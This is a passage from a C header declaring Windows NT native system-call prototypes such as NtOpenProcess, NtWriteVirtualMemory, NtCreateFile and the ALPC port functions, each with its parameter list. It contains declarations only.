OPTIONAL); EXTERN_C NTSTATUS NtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle); EXTERN_C NTSTATUS NtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL); EXTERN_C NTSTATUS NtSetInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass); EXTERN_C NTSTATUS NtMapViewOfSection( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN ULONG ZeroBits, IN SIZE_T CommitSize, IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, IN OUT PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect); EXTERN_C NTSTATUS NtAccessCheckAndAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PBOOLEAN AccessStatus, OUT PBOOLEAN GenerateOnClose); EXTERN_C NTSTATUS NtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress); EXTERN_C NTSTATUS NtReplyWaitReceivePortEx( IN HANDLE PortHandle, OUT PULONG PortContext OPTIONAL, IN PPORT_MESSAGE ReplyMessage OPTIONAL, OUT PPORT_MESSAGE ReceiveMessage, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtTerminateProcess( IN HANDLE ProcessHandle OPTIONAL, IN NTSTATUS ExitStatus); EXTERN_C NTSTATUS NtSetEventBoostPriority( IN HANDLE EventHandle); EXTERN_C NTSTATUS NtReadFileScatter( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, IN PLARGE_INTEGER ByteOffset OPTIONAL, IN PULONG Key OPTIONAL); EXTERN_C NTSTATUS NtOpenThreadTokenEx( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle); EXTERN_C NTSTATUS NtOpenProcessTokenEx( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle); EXTERN_C NTSTATUS NtQueryPerformanceCounter( OUT PLARGE_INTEGER PerformanceCounter, OUT PLARGE_INTEGER PerformanceFrequency OPTIONAL); EXTERN_C NTSTATUS NtEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation OPTIONAL, IN ULONG Length, OUT PULONG ResultLength); EXTERN_C NTSTATUS NtOpenFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions); EXTERN_C NTSTATUS NtDelayExecution( IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval); EXTERN_C NTSTATUS NtQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan); EXTERN_C NTSTATUS NtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtOpenSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtQueryTimer( IN HANDLE TimerHandle, IN TIMER_INFORMATION_CLASS TimerInformationClass, OUT PVOID TimerInformation, IN ULONG TimerInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtFsControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength); EXTERN_C NTSTATUS NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL); EXTERN_C NTSTATUS NtCloseObjectAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN BOOLEAN GenerateOnClose); EXTERN_C NTSTATUS NtDuplicateObject( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN HANDLE TargetProcessHandle OPTIONAL, OUT PHANDLE TargetHandle OPTIONAL, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options); EXTERN_C NTSTATUS NtQueryAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_BASIC_INFORMATION FileInformation); EXTERN_C NTSTATUS NtClearEvent( IN HANDLE EventHandle); EXTERN_C NTSTATUS NtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress OPTIONAL, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT PSIZE_T NumberOfBytesRead OPTIONAL); EXTERN_C NTSTATUS NtOpenEvent( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtAdjustPrivilegesToken( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, IN PTOKEN_PRIVILEGES NewState OPTIONAL, IN ULONG BufferLength, OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle); EXTERN_C NTSTATUS NtContinue( IN PCONTEXT ContextRecord, IN BOOLEAN TestAlert); EXTERN_C NTSTATUS NtQueryDefaultUILanguage( OUT PLANGID DefaultUILanguageId); EXTERN_C NTSTATUS NtQueueApcThread( IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine, IN PVOID ApcArgument1 OPTIONAL, IN PVOID ApcArgument2 OPTIONAL, IN PVOID ApcArgument3 OPTIONAL); EXTERN_C NTSTATUS NtYieldExecution(); EXTERN_C NTSTATUS NtAddAtom( IN PWSTR AtomName OPTIONAL, IN ULONG Length, OUT PUSHORT Atom OPTIONAL); EXTERN_C NTSTATUS NtCreateEvent( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN EVENT_TYPE EventType, IN BOOLEAN InitialState); EXTERN_C NTSTATUS NtQueryVolumeInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FSINFOCLASS FsInformationClass); EXTERN_C NTSTATUS NtCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL); EXTERN_C NTSTATUS NtFlushBuffersFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock); EXTERN_C NTSTATUS NtApphelpCacheControl( IN APPHELPCACHESERVICECLASS Service, IN PVOID ServiceData); EXTERN_C NTSTATUS NtCreateProcessEx( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ParentProcess, IN ULONG Flags, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL, IN ULONG JobMemberLevel); EXTERN_C NTSTATUS NtCreateThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PUSER_STACK InitialTeb, IN BOOLEAN CreateSuspended); EXTERN_C NTSTATUS NtIsProcessInJob( IN HANDLE ProcessHandle, IN HANDLE JobHandle OPTIONAL); EXTERN_C NTSTATUS NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); EXTERN_C NTSTATUS NtQuerySection( IN HANDLE SectionHandle, IN SECTION_INFORMATION_CLASS SectionInformationClass, OUT PVOID SectionInformation, IN ULONG SectionInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtResumeThread( IN HANDLE ThreadHandle, IN OUT PULONG PreviousSuspendCount OPTIONAL); EXTERN_C NTSTATUS NtTerminateThread( IN HANDLE ThreadHandle, IN NTSTATUS ExitStatus); EXTERN_C NTSTATUS NtReadRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, OUT PVOID Buffer, IN ULONG BufferSize, OUT PULONG NumberOfBytesRead OPTIONAL); EXTERN_C NTSTATUS NtCreateFile( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN PVOID EaBuffer OPTIONAL, IN ULONG EaLength); EXTERN_C NTSTATUS NtQueryEvent( IN HANDLE EventHandle, IN EVENT_INFORMATION_CLASS EventInformationClass, OUT PVOID EventInformation, IN ULONG EventInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtWriteRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Request, IN ULONG DataIndex, IN PVOID Buffer, IN ULONG Length, OUT PULONG ResultLength OPTIONAL); EXTERN_C NTSTATUS NtOpenDirectoryObject( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtAccessCheckByTypeAndAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid OPTIONAL, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList OPTIONAL, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PULONG AccessStatus, OUT PBOOLEAN GenerateOnClose); EXTERN_C NTSTATUS NtWaitForMultipleObjects( IN ULONG Count, IN PHANDLE Handles, IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtSetInformationObject( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, IN PVOID ObjectInformation, IN ULONG ObjectInformationLength); EXTERN_C NTSTATUS NtCancelIoFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock); EXTERN_C NTSTATUS NtTraceEvent( IN HANDLE TraceHandle, IN ULONG Flags, IN ULONG FieldSize, IN PVOID Fields); EXTERN_C NTSTATUS NtPowerInformation( IN POWER_INFORMATION_LEVEL InformationLevel, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength); EXTERN_C NTSTATUS NtSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN ULONG TitleIndex OPTIONAL, IN ULONG Type, IN PVOID SystemData, IN ULONG DataSize); EXTERN_C NTSTATUS NtCancelTimer( IN HANDLE TimerHandle, OUT PBOOLEAN CurrentState OPTIONAL); EXTERN_C NTSTATUS NtSetTimer( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, IN PTIMER_APC_ROUTINE TimerApcRoutine OPTIONAL, IN PVOID TimerContext OPTIONAL, IN BOOLEAN ResumeTimer, IN LONG Period OPTIONAL, OUT PBOOLEAN PreviousState OPTIONAL); EXTERN_C NTSTATUS NtAccessCheckByType( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid OPTIONAL, IN HANDLE ClientToken, IN ULONG DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, IN OUT PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PULONG AccessStatus); EXTERN_C NTSTATUS NtAccessCheckByTypeResultList( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid OPTIONAL, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, IN OUT PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PULONG AccessStatus); EXTERN_C NTSTATUS NtAccessCheckByTypeResultListAndAuditAlarm( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid OPTIONAL, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList OPTIONAL, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PULONG AccessStatus, OUT PULONG GenerateOnClose); EXTERN_C NTSTATUS NtAccessCheckByTypeResultListAndAuditAlarmByHandle( IN PUNICODE_STRING SubsystemName, IN PVOID HandleId OPTIONAL, IN HANDLE ClientToken, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID PrincipalSelfSid OPTIONAL, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList OPTIONAL, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PULONG AccessStatus, OUT PULONG GenerateOnClose); EXTERN_C NTSTATUS NtAcquireProcessActivityReference(); EXTERN_C NTSTATUS NtAddAtomEx( IN PWSTR AtomName, IN ULONG Length, IN PRTL_ATOM Atom, IN ULONG Flags); EXTERN_C NTSTATUS NtAddBootEntry( IN PBOOT_ENTRY BootEntry, OUT PULONG Id OPTIONAL); EXTERN_C NTSTATUS NtAddDriverEntry( IN PEFI_DRIVER_ENTRY DriverEntry, OUT PULONG Id OPTIONAL); EXTERN_C NTSTATUS NtAdjustGroupsToken( IN HANDLE TokenHandle, IN BOOLEAN ResetToDefault, IN PTOKEN_GROUPS NewState OPTIONAL, IN ULONG BufferLength OPTIONAL, OUT PTOKEN_GROUPS PreviousState OPTIONAL, OUT PULONG ReturnLength); EXTERN_C NTSTATUS NtAdjustTokenClaimsAndDeviceGroups( IN HANDLE TokenHandle, IN BOOLEAN UserResetToDefault, IN BOOLEAN DeviceResetToDefault, IN BOOLEAN DeviceGroupsResetToDefault, IN PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewUserState OPTIONAL, IN PTOKEN_SECURITY_ATTRIBUTES_INFORMATION NewDeviceState OPTIONAL, IN PTOKEN_GROUPS NewDeviceGroupsState OPTIONAL, IN ULONG UserBufferLength, OUT PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousUserState OPTIONAL, IN ULONG DeviceBufferLength, OUT PTOKEN_SECURITY_ATTRIBUTES_INFORMATION PreviousDeviceState OPTIONAL, IN ULONG DeviceGroupsBufferLength, OUT PTOKEN_GROUPS PreviousDeviceGroups OPTIONAL, OUT PULONG UserReturnLength OPTIONAL, OUT PULONG DeviceReturnLength OPTIONAL, OUT PULONG DeviceGroupsReturnBufferLength OPTIONAL); EXTERN_C NTSTATUS NtAlertResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL); EXTERN_C NTSTATUS NtAlertThread( IN HANDLE ThreadHandle); EXTERN_C NTSTATUS NtAlertThreadByThreadId( IN ULONG ThreadId); EXTERN_C NTSTATUS NtAllocateLocallyUniqueId( OUT PLUID Luid); EXTERN_C NTSTATUS NtAllocateReserveObject( OUT PHANDLE MemoryReserveHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN MEMORY_RESERVE_TYPE Type); EXTERN_C NTSTATUS NtAllocateUserPhysicalPages( IN HANDLE ProcessHandle, IN OUT PULONG NumberOfPages, OUT PULONG UserPfnArray); EXTERN_C NTSTATUS NtAllocateUuids( OUT PLARGE_INTEGER Time, OUT PULONG Range, OUT PULONG Sequence, OUT PUCHAR Seed); EXTERN_C NTSTATUS NtAllocateVirtualMemoryEx( IN HANDLE ProcessHandle, IN OUT PPVOID lpAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T pSize, IN ULONG flAllocationType, IN OUT PVOID DataBuffer OPTIONAL, IN ULONG DataCount); EXTERN_C NTSTATUS NtAlpcAcceptConnectPort( OUT PHANDLE PortHandle, IN HANDLE ConnectionPortHandle, IN ULONG Flags, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PALPC_PORT_ATTRIBUTES PortAttributes OPTIONAL, IN PVOID PortContext OPTIONAL, IN PPORT_MESSAGE ConnectionRequest, IN OUT PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes OPTIONAL, IN BOOLEAN AcceptConnection); EXTERN_C NTSTATUS NtAlpcCancelMessage( IN HANDLE PortHandle, IN ULONG Flags, IN PALPC_CONTEXT_ATTR MessageContext); EXTERN_C NTSTATUS NtAlpcConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PALPC_PORT_ATTRIBUTES PortAttributes OPTIONAL, IN ULONG Flags, IN PSID RequiredServerSid OPTIONAL, IN OUT PPORT_MESSAGE ConnectionMessage OPTIONAL, IN OUT PULONG BufferLength OPTIONAL, IN OUT PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes OPTIONAL, IN OUT PALPC_MESSAGE_ATTRIBUTES InMessageAttributes OPTIONAL, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtAlpcConnectPortEx( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ConnectionPortObjectAttributes, IN POBJECT_ATTRIBUTES ClientPortObjectAttributes OPTIONAL, IN PALPC_PORT_ATTRIBUTES PortAttributes OPTIONAL, IN ULONG Flags, IN PSECURITY_DESCRIPTOR ServerSecurityRequirements OPTIONAL, IN OUT PPORT_MESSAGE ConnectionMessage OPTIONAL, IN OUT PSIZE_T BufferLength OPTIONAL, IN OUT PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes OPTIONAL, IN OUT PALPC_MESSAGE_ATTRIBUTES InMessageAttributes OPTIONAL, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtAlpcCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PALPC_PORT_ATTRIBUTES PortAttributes OPTIONAL); EXTERN_C NTSTATUS NtAlpcCreatePortSection( IN HANDLE PortHandle, IN ULONG Flags, IN HANDLE SectionHandle OPTIONAL, IN SIZE_T SectionSize, OUT PHANDLE AlpcSectionHandle, OUT PSIZE_T ActualSectionSize); EXTERN_C NTSTATUS NtAlpcCreateResourceReserve( IN HANDLE PortHandle, IN ULONG Flags, IN SIZE_T MessageSize, OUT PHANDLE ResourceId); EXTERN_C NTSTATUS NtAlpcCreateSectionView( IN HANDLE PortHandle, IN ULONG Flags, IN OUT PALPC_DATA_VIEW_ATTR ViewAttributes); EXTERN_C NTSTATUS NtAlpcCreateSecurityContext( IN HANDLE PortHandle, IN ULONG Flags, IN OUT PALPC_SECURITY_ATTR SecurityAttribute); EXTERN_C NTSTATUS NtAlpcDeletePortSection( IN HANDLE PortHandle, IN ULONG Flags, IN HANDLE SectionHandle); EXTERN_C NTSTATUS NtAlpcDeleteResourceReserve( IN HANDLE PortHandle, IN ULONG Flags, IN HANDLE ResourceId); EXTERN_C NTSTATUS NtAlpcDeleteSectionView( IN HANDLE PortHandle, IN ULONG Flags, IN PVOID ViewBase); EXTERN_C NTSTATUS NtAlpcDeleteSecurityContext( IN HANDLE PortHandle, IN ULONG Flags, IN HANDLE ContextHandle); EXTERN_C NTSTATUS NtAlpcDisconnectPort( IN HANDLE PortHandle, IN ULONG Flags); EXTERN_C NTSTATUS NtAlpcImpersonateClientContainerOfPort( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG Flags); EXTERN_C NTSTATUS NtAlpcImpersonateClientOfPort( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN PVOID Flags); EXTERN_C NTSTATUS NtAlpcOpenSenderProcess( OUT PHANDLE ProcessHandle, IN HANDLE PortHandle, IN PPORT_MESSAGE PortMessage, IN ULONG Flags, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtAlpcOpenSenderThread( OUT PHANDLE ThreadHandle, IN HANDLE PortHandle, IN PPORT_MESSAGE PortMessage, IN ULONG Flags, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtAlpcQueryInformation( IN HANDLE PortHandle OPTIONAL, IN ALPC_PORT_INFORMATION_CLASS PortInformationClass, IN OUT PVOID PortInformation, IN ULONG Length, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtAlpcQueryInformationMessage( IN HANDLE PortHandle, IN PPORT_MESSAGE PortMessage, IN ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass, OUT PVOID MessageInformation OPTIONAL, IN ULONG Length, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtAlpcRevokeSecurityContext( IN HANDLE PortHandle, IN ULONG Flags, IN HANDLE ContextHandle); EXTERN_C NTSTATUS NtAlpcSendWaitReceivePort( IN HANDLE PortHandle, IN ULONG Flags, IN PPORT_MESSAGE SendMessage OPTIONAL, IN OUT PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes OPTIONAL, OUT PPORT_MESSAGE ReceiveMessage OPTIONAL, IN OUT PSIZE_T BufferLength OPTIONAL, IN OUT PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes OPTIONAL, IN PLARGE_INTEGER Timeout OPTIONAL); EXTERN_C NTSTATUS NtAlpcSetInformation( IN HANDLE PortHandle, IN ALPC_PORT_INFORMATION_CLASS PortInformationClass, IN PVOID PortInformation OPTIONAL, IN ULONG Length); EXTERN_C NTSTATUS NtAreMappedFilesTheSame( IN PVOID File1MappedAsAnImage, IN PVOID File2MappedAsFile); EXTERN_C NTSTATUS NtAssignProcessToJobObject( IN HANDLE JobHandle, IN HANDLE ProcessHandle); EXTERN_C NTSTATUS NtAssociateWaitCompletionPacket( IN HANDLE WaitCompletionPacketHandle, IN HANDLE IoCompletionHandle, IN HANDLE TargetObjectHandle, IN PVOID KeyContext OPTIONAL, IN PVOID ApcContext OPTIONAL, IN NTSTATUS IoStatus, IN ULONG_PTR IoStatusInformation, OUT PBOOLEAN AlreadySignaled OPTIONAL); EXTERN_C NTSTATUS NtCallEnclave( IN PENCLAVE_ROUTINE Routine, IN PVOID Parameter, IN BOOLEAN WaitForThread, IN OUT PVOID ReturnValue OPTIONAL); EXTERN_C NTSTATUS NtCancelIoFileEx( IN HANDLE FileHandle, IN PIO_STATUS_BLOCK IoRequestToCancel OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock); EXTERN_C NTSTATUS NtCancelSynchronousIoFile( IN HANDLE ThreadHandle, IN PIO_STATUS_BLOCK IoRequestToCancel OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock); EXTERN_C NTSTATUS NtCancelTimer2( IN HANDLE TimerHandle, IN PT2_CANCEL_PARAMETERS Parameters); EXTERN_C NTSTATUS NtCancelWaitCompletionPacket( IN HANDLE WaitCompletionPacketHandle, IN BOOLEAN RemoveSignaledPacket); EXTERN_C NTSTATUS NtCommitComplete( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtCommitEnlistment( IN HANDLE EnlistmentHandle, IN PLARGE_INTEGER TmVirtualClock OPTIONAL); EXTERN_C NTSTATUS NtCommitRegistryTransaction( IN HANDLE RegistryHandle, IN BOOL Wait); EXTERN_C NTSTATUS NtCommitTransaction( IN HANDLE TransactionHandle, IN BOOLEAN Wait); EXTERN_C NTSTATUS NtCompactKeys( IN ULONG Count, IN HANDLE KeyArray); EXTERN_C NTSTATUS NtCompareObjects( IN HANDLE FirstObjectHandle, IN HANDLE SecondObjectHandle); EXTERN_C NTSTATUS NtCompareSigningLevels( IN ULONG UnknownParameter1, IN ULONG UnknownParameter2); EXTERN_C NTSTATUS NtCompareTokens( IN HANDLE FirstTokenHandle, IN HANDLE SecondTokenHandle, OUT PBOOLEAN Equal); EXTERN_C NTSTATUS NtCompleteConnectPort( IN HANDLE PortHandle); EXTERN_C NTSTATUS NtCompressKey( IN HANDLE Key); EXTERN_C NTSTATUS NtConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PPORT_SECTION_WRITE ClientView OPTIONAL, IN OUT PPORT_SECTION_READ ServerView OPTIONAL, OUT PULONG MaxMessageLength OPTIONAL, IN OUT PVOID ConnectionInformation OPTIONAL, IN OUT PULONG ConnectionInformationLength OPTIONAL); EXTERN_C NTSTATUS NtConvertBetweenAuxiliaryCounterAndPerformanceCounter( IN ULONG UnknownParameter1, IN ULONG UnknownParameter2, IN ULONG UnknownParameter3, IN ULONG UnknownParameter4); EXTERN_C NTSTATUS NtCreateDebugObject( OUT PHANDLE DebugObjectHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags); EXTERN_C NTSTATUS NtCreateDirectoryObject( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); EXTERN_C NTSTATUS NtCreateDirectoryObjectEx( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ShadowDirectoryHandle, IN ULONG Flags); EXTERN_C NTSTATUS NtCreateEnclave( IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T Size, IN SIZE_T InitialCommitment, IN ULONG EnclaveType, IN PVOID EnclaveInformation, IN ULONG EnclaveInformationLength, OUT PULONG EnclaveError OPTIONAL); EXTERN_C NTSTATUS NtCreateEnlistment( OUT PHANDLE EnlistmentHandle, IN ACCESS_MASK DesiredAccess, IN HANDLE ResourceManagerHandle, IN HANDLE TransactionHandle, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN ULONG CreateOptions OPTIONAL, IN NOTIFICATION_MASK NotificationMask, IN PVOID EnlistmentKey OPTIONAL); EXTERN_C NTSTATUS NtCreateEventPair( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL); EXTERN_C NTSTATUS NtCreateIRTimer( OUT PHANDLE TimerHandle, IN 